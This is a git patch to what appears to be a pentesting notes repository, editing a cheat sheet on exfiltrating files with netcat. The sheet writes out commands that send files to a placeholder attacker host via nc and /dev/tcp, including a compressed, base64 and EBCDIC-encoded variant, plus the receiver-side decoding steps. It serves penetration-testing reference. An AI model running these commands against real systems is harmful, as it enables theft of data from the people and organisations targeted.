From 32c50cb82e8da7ec352232b6336d8ba4f43a71d9 Mon Sep 17 00:00:00 2001 From: whackx Date: Sat, 22 Jul 2023 22:14:02 +0200 Subject: [PATCH] Clean up --- Exfiltration/Netcat.md | 22 +++++++++++++--------- README.md | 1 + 2 files changed, 14 insertions(+), 9 deletions(-) diff --git a/Exfiltration/Netcat.md b/Exfiltration/Netcat.md index c96f77b..287cf90 100644 --- a/Exfiltration/Netcat.md +++ b/Exfiltration/Netcat.md @@ -1,34 +1,38 @@ # Netcat -## Receiver +## Receive data via netcats -* RX +### Receiver + +Set up the receiver to store the data `out.txt`. ```sh nc -lp 8080 > out.txt ``` -## Transceiver +### Transceiver -* TX +The transceiver transfers the file through netcat to the already setup receiver. ```sh nc $ATTACKER_IP 8080 < in.txt ``` -* TX without nc +#### Transceiver tricks + +The file `out.txt` can be send without netcat as well in the following way ```sh cat > /dev/tcp/$ATTACKER_IP/$ATTACKER_PORT ``` -* Have to be end manually after a while +The connection has to be end manually after a while, this won't happen automatically. -## Compress and Encode +### Compress and Encode -* Compress and encode the transmitted data +To save throughput, compress and encode the transmitted data before it is send ```sh tar cfz - | base64 | dd conv=ebcdic > /dev/tcp/$ATTACKER_IP/$ATTACKER_PORT ``` -* On receiver's side, after `out.data` has been received +On receiver's side, after `out.data` has been received ```sh dd conv=ascii if=out.data | base64 -d > out.tar tar xvf out.tar diff --git a/README.md b/README.md index aaadb34..5b1fcfa 100644 --- a/README.md +++ b/README.md @@ -1,4 +1,5 @@ # Pentesting + * [Pentesting Execution Standard](http://www.pentest-standard.org/index.php/Main_Page) Authorized audit of security systems of computers and networks. * [Rules of Engagement -- Cheat Sheet](https://sansorg.egnyte.com/dl/bF4I3yCcnt/?) and [redteam.guide ROEs](https://redteam.guide/docs/templates/roe_template/)